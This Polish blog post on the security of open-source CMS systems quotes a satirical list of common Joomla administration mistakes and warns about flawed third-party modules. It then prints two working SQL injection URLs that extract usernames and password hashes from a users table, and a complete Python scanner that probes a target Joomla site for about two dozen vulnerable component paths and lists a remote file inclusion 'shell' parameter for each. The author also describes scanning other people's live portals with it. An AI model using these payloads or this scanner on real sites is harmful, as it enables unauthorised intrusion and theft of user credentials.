Bezpieczeństwo CMS.

Wiele napisano już o bezpizpieczeństwie Systemów Zarządzania Treścią ( dalej CMS ) . W wyszkiwarce Google odnalazłem 330 000 linków zawierających hasło „Bezpieczeństwo CMS”.

Google

Dla przypomnienia tylko – CMS (Content Management System) to skrót, który ostatnio na dobre zadomowił się w wielu językach. W dosłownym tłumaczeniu oznacza system zarządzania treścią stron publikowanych w internecie. Skrót cms stał się tak popularny, ponieważ technologia która za nim stoi wnosi bardzo dużo do sposobu zarządzania stronami internetowymi – zarządzania informacjami oraz sposobem ich wizualizacji.

Popularność tych systemów jest oparta na tym ,że są „za darmo” – ale bądzmy realistami.W normalnym, realnym świecie utarło się, że jeśli coś jest za darmo, prawdopodobnie nie przedstawia dużej wartości. Generalnie mało jest rzeczy w realnym świecie które możemy dostać za darmo, nie mówiąc już o rzeczach wartościowych. Jednocześnie naszym podobnym skrótem myślowym jest, że jeśli coś kosztuje dużo to musi być dobre.Świat Internetu rządzi się trochę innymi prawami niż świat realny, i tutaj „darmowy” wcale nie oznacza do niczego, a wręcz przeciwnie. W sieci można znaleźć bardzo wiele różnego rodzaju aplikacji, które za darmo potrafią zrobić naprawdę bardzo wiele rzeczy.Ale nikt do końca może nie zdaje sobie sprawy ile niebezpieczeństw niesie ze sobą takie „darmowe oprogramowanie” w szczególności systemy CMS.Zacytuje tutaj „10 podstawowych błędów związnych z instalacja oraz administracją systemów CMS” tekst ten kiedyś , „krązył” w środowisku programistów oraz uzytkowników systemu CMS Joomla.

  • Wybierz najtańszego z możliwych dostawców hostingu, utrzymującego na swoich serwerach tysiace stron WWW, z których największy ruch generują serwisy porno.
  • Nie trać czasu na wykonywanie regularnych kopii zapasowych. Może administrator Twego serwera hostingowego kiedyś Ci pomoze.
  • Nie zawracaj sobie głowy dostrajaniem swojego CMS’a i PHP pod kątem bezpieczeństwa. Przecież instalacja była debilnie prosta! Jak reszta mogłaby być zła? Martw sie o szczegóły jedynie wtedy, jak wystąpi jakiś problem.
  • Używaj tego samego loginu i hasła do Twego konta w eBanku, do Panelu Administratora CMS’a, konta w sklepie internetowym, konta poczty elektronicznej itp. Hej, a kto ma czas spamiętać tyle haseł? Jakkolwiek by nie było, odkąd przestałeś zmieniać hasła o ileż łatwiejsze jest używanie tych samych danych zawsze i wszędzie.
  • Zainstaluj swój nowy, śliczny oparty o wybrany CMS serwis. Świętuj dobrze wykonaną robotę i przestań się martwić o cokolwiek. A już po wszystkim, skoro nie robisz innych zmian, to co może pójść nie tak? (Podpowiedź: bardzo dużo).
  • Rób wszystkie aktualizacje i poprawki na serwerze „produkcyjnym”, na żyjącym serwisie. Kto by tam potrzebował osobnego miejsca na testowanie i rozwój aplikacji? Jeśli jakaś instalacja się nie powiedzie – po prostu odinstaluj niedziałający składnik w nadziei ze wszystko wróci do normy.
  • Ufaj wszystkim rozszerzeniom pisanym przez firmy czy osoby trzecie i instaluj wszystkie wypasione wodotryski, jakie tylko znajdziesz w sieci. Ktoś był wystarczająco inteligentny, żeby napisać rozszerzenie do Joomli i na pewno stworzony przez niego kod jest na tyle perfekcyjny, że będzie blokować wszystkie próby exploitów teraz i na wieki. W końcu wszystkie te dodatki są utrzymywane za darmo przez wielkodusznych wolontariuszy o dobrych sercach, którzy na bank wiedzą co robią.
  • Nie trać czasu na aktualizację twojego CMS’a do najnowszej wersji. Przecież póki co wszystko gra! Tak czy siak – za dużo byłoby z tym roboty.
  • Kiedy haker zaatakuje Twój serwis, zacznij siać panikę na forach dyskusyjnych i załóż nowy wątek z nikomu nieznanym tytułem „Pomocy! Hakerzy włamali mi się na stronę Co robić!?”. Bądź pewien, że nie podałeś , której to przestarzałej wersji Joomla oraz innych składników używasz.
  • Kiedy Twój serwis padnie ofiarą hakerów, skasuj wszystkie podmienione przez nich pliki i udawaj że już wszystko jest jak dawniej. Nie przeglądaj logów, nie zmieniaj haseł, nie kasuj zawartości swego serwisu w celu przywrócenia go ze sprawdzonej kopii zapasowej, nie wykonuj żadnych innych paranoidalnie przesadnych akcji. Kiedy napastnik wróci do Ciebie następnego dnia krzycz głośno „Znów hakerzy zepsuli mi stronę!” i że to wszystko wina twórców twego CMS’a. Zignoruj fakt, że usunięcie podmienionych plików to nawet nie jest pierwszy krok w złożonym procesie przywrócenia zaatakowanego serwisu do stanu pełnej używalności.

Zaznaczyłem celowo innym kolorem dwa podpunkty , które mówią o bezpieczeństwie naszego systemu:

Ufaj wszystkim rozszerzeniom pisanym przez firmy czy osoby trzecie i instaluj wszystkie wypasione wodotryski, jakie tylko znajdziesz w sieci. Ktoś był wystarczająco inteligentny, żeby napisać rozszerzenie do Joomli i na pewno stworzony przez niego kod jest na tyle perfekcyjny, że będzie blokować wszystkie próby exploitów teraz i na wieki. W końcu wszystkie te dodatki są utrzymywane za darmo przez wielkodusznych wolontariuszy o dobrych sercach, którzy na bank wiedzą co robią.

Jeśli chcemy korzystać z wielu różnych funkcjonalności systemu, jesteśmy zmuszeni do doinstalowania do jądra dodatkowe moduły. Nie możemy być 100% pewni, że moduły które instalujemy pozbawione są błędów – zamierzonych lub niezamierzonych. Moduły pisane są przez osoby o różnym poziomie wiedzy. Często mimo najlepszych chęci w modułach znajdują się błędy, które zostają wykryte często dopiero w momencie, kiedy do któregoś serwisu dostaną się hakerzy.

Oczywiście po wykryciu dziury przez któregoś z użytkowników portalu informacja ta bardzo szybko trafia na forum, gdzie od razu grupa programistów poprawia dany moduł, przygotowując odpowiednią poprawkę, którą wystarczy zainstalować w swoim systemie by móc spać spokojnie.Ale też hakerzy czytają fora i o tym też należy pamiętać.

W przypadku systemów open source nie znamy intencji osób piszących moduły, które celowo mogą pozostawiać sobie furtki. Należy tutaj pamiętać, że jeśli na stronie zbieramy jakiekolwiek dane o użytkownikach – imię i nazwisko, adres czy nawet sam e-mail – odpowiadamy prawnie za ich bezpieczne przechowywanie. Jeśli do naszego serwisu włamie się haker i wykradnie naszą bazę mailingową i ta informacja dotrze do właściciela maila – może on dochodzić swoich praw zgodnie z ustawą o ochronie danych osobowych. Jest to przestroga dla tych wszystkich, którzy prowadzą sklepy internetowe w oparciu o systemy open source i przechowują w swojej bazie dane klientów.

Problemem bezpieczeństwa systemów open source jest „otwartość” kodu źródłowego. W praktyce oznacza to, że każdy ma dostęp kodu aplikacji. W aplikacji napisanej do celów komercyjnych. kod jest strzeżoną tajemnicą właściciela. Kod programu dostępny jest tylko wąskiej grupie programistów – pracowników firmy, którzy często zobowiązani są do podpisania klauzuli o poufności informacji, łącznie z odpowiedzialnością finansową a nawet karną.

Osobiście testowałem nie dawno portal oparty o jeden z bardziej znanych systemów CMS ( nie będę wymieniał jaki ) i doszedłem do wniosku ,że sam system CMS „pusty” bez dodatkowych modułów jest bardzo bezpieczny. No ale jak każdy dobry portal , system taki musi posiadać pewne funkcjonalności , które są realizowane przez dodanie odpowiednich modułów. Moduły zostały zainstalowane – ale trzeba było dokonać „spolszczenia” czyli stworzyć polskie wersje językowe. Podczas „tłumaczenia” znalazłem błędy w sztuce „zabezpieczeń” jakie popełniali autorzy tych modułów. Dla przykładu podam w jaki sposób zaatakować system techniką wstrzykiwania, doklejania dodatkowego zapytania SQL:

  • modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,uid,uname,

pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/

CMS_users/**/LIMIT/**/1,1/*”

  • modules/articles/index.php?cat_id=-1%20union%20select%201,

concat(char(117,115,101,114,110,97,109,101,58)

uname,char(112,97,115,115,119,111,114,100,58),pass),3,4%20from%20CMS_users%20

where%20uid%20like%201/*

Wyników tak spreparowanego zapytania SQL nie będę komentował , powiem tylko tyle ,że przypadku wyżej wymienionych, tak spreparowanych „pleceń”, pojawiają się dane użytkowników. Oczywiście jeżeli dodatkowo nasz serwer na którym zainstalowano portal z takim modułem posiada taką „funkcjonalność” jak „pokaż wszystkie błędy” to już jest cudowne miejsce do nauki SQL’a i nie tylko.

W nowo tworzonym portalu znalazłem aż 32 ( !!! ) „luki” – to też pozostawię bez komentarza. Oczywiście wszystkie „luki” zgłosiłem na oficjalnej Polskiej strony tegoż CMS’a . Oczywiście wychwycone błędy dotyczyły tylko modułów dodatkowo zainstalowanych w systemie , sam system , no cóż może za mało „czytałem kod” ???

Pokusiłem się aby sprawdzić czy inne portale oparte o „mój” CMS ( z zainstalowanymi modułami – tak jak w moim przypadku ) posiadają te same „dziury” ?

Jeżeli już znalazłem takie portale to w „ciemno” nie sprawdzałem czy „felerne” moduły są tam zainstalowane użyłem do tego Pythona ( potęga Pythona nie zna granic ) . Dla „zmylenia” poniżej podam tylko w jaki sposób dowiedzieć się czy system CMS Joomla posiada pewne ( interesujące mnie moduły ):

import sys, re, httplib, time, socket
def main(path):
	try:
		if proxy != 0:
			h.putrequest("GET", "http://"+host+"/"+path)
		else:
			h.putrequest("HEAD", path)
		h.putheader("Host", host)
		h.endheaders()
		status, reason, headers = h.getreply()
		return status, reason
	except(), msg:
		print "Error Occurred:",msg
		pass

def timer():
	now = time.localtime(time.time())
	return time.asctime(now)

if len(sys.argv) < 2 or len(sys.argv) > 5:
	print "\nUsage: ./joomlascan.py  "
	print "\t[options]"
	print "\t   -p/-proxy  : Add proxy support"
	print "\t   -404 : Won't show 404 responses"
	print "Ex: ./test_joomla.py www.test.com -404 -proxy 127.0.0.1:8080\n"
	sys.exit(1)

for arg in sys.argv[1:]:
	if arg.lower() == "-p" or arg.lower() == "-proxy":
		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
	if arg.lower() == "-404":
		show = 404

try:
	if proxy:
		print "\n[+] Testing Proxy..."
		h2 = httplib.HTTPConnection(proxy)
		h2.connect()
		print "[+] Proxy:",proxy
except(socket.timeout):
	print "\n[-] Proxy Timed Out"
	proxy = 0
	pass
except(NameError):
	print "\n[-] Proxy Not Given"
	proxy = 0
	pass
except:
	print "\n[-] Proxy Failed"
	proxy = 0
	pass

paths = {"components/com_flyspray/startdown.php" : "startdown.php?file=shell",
		"administrator/components/com_admin/admin.admin.html.php" : "admin.admin.html.php?mosConfig_absolute_path=shell",
		"components/com_simpleboard/file_upload.php" : "file_upload.php?sbp=shell",
		"components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php" : "config.inc.php?mosConfig_absolute_path=shell",
		"components/com_sitemap/sitemap.xml.php" : "sitemap.xml.php?mosConfig_absolute_path=shell ",
"administrator/components/com_remository/admin.remository.php" : "admin.remository.php?mosConfig_absolute_path=shell",
		"administrator/components/com_babackup/classes/Tar.php" : "Tar.php?mosConfig_absolute_path=shell",
		"administrator/components/com_lurm_constructor/admin.lurm_constructor.php" : "admin.lurm_constructor.php?lm_absolute_path=shell",
		"components/com_mambowiki/MamboLogin.php" : "MamboLogin.php?IP=shell",
	"components/com_jd-wiki/lib/tpl/default/main.php" : "main.php?mosConfig_absolute_path=shell",
				"com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
		"com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php" : "com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
		"administrator/components/com_jjgallery/admin.jjgallery.php" : "administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=shell",
		"administrator/components/com_juser/xajax_functions.php" : "administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=shell",
		"components/com_jreviews/scripts/xajax.inc.php" : "components/com_jreviews/scripts/xajax.inc.php?mosConfig_absolute_path=shell",
		"com_directory/modules/mod_pxt_latest.php" : "com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=shell",
		"administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
		"administrator/components/com_chronocontact/excelwriter/PPS/File.php" : "administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=shell",
		"administrator/components/com_chronocontact/excelwriter/Writer.php" : "administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=shell",
		"administrator/components/com_chronocontact/excelwriter/PPS.php" : "administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=shell",
		"administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php" : "administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=shell",
		"administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=shell",
		"administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=shell",
		"administrator/components/com_chronocontact/excelwriter/Writer/Format.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=shell"}

host = sys.argv[1]
print "[+] Target:",host
try:
	if show == 404:
		print "[+] 404 Block On\n"
except(NameError):
	print "[-] 404 Block Off\n"
	show = 0
	pass
print "[+] Loaded:",len(paths),"paths"
host = host.replace("http://","")
if host.count("/") >= 2:
	j_path = host.split("/",1)[1].replace("index.php","")
	host = host.split("/",1)[0]
else:
	if host[-1:] == "/":
		host = host[:-1]
	j_path = ""

if j_path[-1:] != "/":
	j_path = j_path+"/"

print "[+] Started:",timer()
print "[+] Scanning..."
time.sleep(3)

if proxy != 0:
	h = httplib.HTTP(proxy)
else:
	h = httplib.HTTP(host)

for path, shell in paths.items():
	print "\n[+] Trying:",j_path+path
	try:
		response, reason = main(j_path+path)
		if show != 404:
			print "[+] Got:",response, reason
			print "[+] Shell:",shell
		else:
			if response != 404:
				print "[+] Got:",response, reason
				print "[+] Shell:",shell

	except(AttributeError, TypeError, socket.error):
		pass
	except(KeyboardInterrupt):
		pass
print "\n[-] Done:",timer(),"\n"

Powyższy kod napisano nie dla potrzeb testowania "zawartości" portali opartych o system CMS Joomla.

Skomentuj

Please log in using one of these methods to post your comment:

Logo WordPress.com

Komentujesz korzystając z konta WordPress.com. Log Out / Zmień )

Zdjęcie z Twittera

Komentujesz korzystając z konta Twitter. Log Out / Zmień )

Facebook photo

Komentujesz korzystając z konta Facebook. Log Out / Zmień )

Google+ photo

Komentujesz korzystając z konta Google+. Log Out / Zmień )

Connecting to %s

%d bloggers like this: